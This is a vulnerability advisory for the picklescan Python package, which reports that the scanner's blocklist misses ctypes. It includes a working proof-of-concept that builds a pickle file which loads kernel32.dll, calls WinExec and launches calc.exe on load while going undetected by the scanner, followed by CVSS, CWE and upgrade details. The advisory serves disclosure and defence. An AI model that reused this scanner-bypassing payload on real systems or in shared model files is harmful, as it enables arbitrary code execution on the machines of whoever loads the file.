Skip to content

GHSA-4675-36f9-wf6r CVE-2025-71323 PYSEC-2026-1782

Picklescan does not block ctypes

Critical PyPI
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.99%
Chance of exploitation in the next 30 days. Higher than 62.55% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-184 Incomplete List of Disallowed Inputs
CWE-913 Improper Control of Dynamically-Managed Code Resources
Fix
0.0.33
Upgrade picklescan to this version or later

Description

Summary

Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to

  • Load DLLs
  • Call C functions directly
  • Manipulate memory raw pointers.

This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.

This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected

PoC

import pickle
import ctypes
import operator

class Kernel32Loader:
    def __reduce__(self):
        #we go direct to the kerneeellllllll
        return (ctypes.WinDLL, ("kernel32.dll",))

class WinExecGetter:
    def __reduce__(self):
        return (operator.itemgetter("WinExec"), (Kernel32Loader(),))

class PopCalc:
    def __reduce__(self):
        #methodcaller to invoke "__call__" on the function pointer.
        return (
            operator.methodcaller("__call__", b"calc.exe", 1), 
            (WinExecGetter(),)
        )

try:
    payload = pickle.dumps(PopCalc())
    
    with open("calc_exploit.pkl", "wb") as f:
        f.write(payload)
        
    print("Generated 'calc_exploit.pkl'")

except Exception as e:
    print(f"Generation failed: {e}")

This will create a pickle file which is not detected by the latest version of picklescan as malicious

import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))

<img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />

Affected versions

PyPI

PackageVulnerableFixed in
picklescan
< 0.0.33
0.0.33

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

picklescan PyPI → 0.0.33

pip
pip install --upgrade "picklescan>=0.0.33"
poetry
poetry add "picklescan>=0.0.33"
uv
uv add "picklescan>=0.0.33"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Proof of concept

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-184: Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

How to prevent it
  • Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CWE-913: Improper Control of Dynamically-Managed Code Resources

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

How to prevent it
  • Implementation: For any externally-influenced input, check the input against an allowlist of acceptable values.
  • Implementation, Architecture and Design: Refactor the code so that it does not need to be dynamically managed.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-g38g-8gr9-h9xp
PickleScan has multiple stdlib modules with direct RCE not in blocklist
Critical Also affects picklescan
GHSA-vvpj-8cmc-gx39
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Critical Also affects picklescan
GHSA-7wx9-6375-f5wh
PickleScan's profile.run blocklist mismatch allows exec() bypass
Critical Also affects picklescan
GHSA-97f8-7cmv-76j2
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
High Also affects picklescan
GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
Medium Also affects picklescan
GHSA-9m3x-qqw2-h32h
picklescan missing detection by simple obfuscation of a `builtins.eval` call
Critical Also affects picklescan
GHSA-9726-w42j-3qjr
picklescan has Arbitrary file read using `io.FileIO`
High Also affects picklescan
GHSA-46h3-79wf-xr6c
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
High Also affects picklescan
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor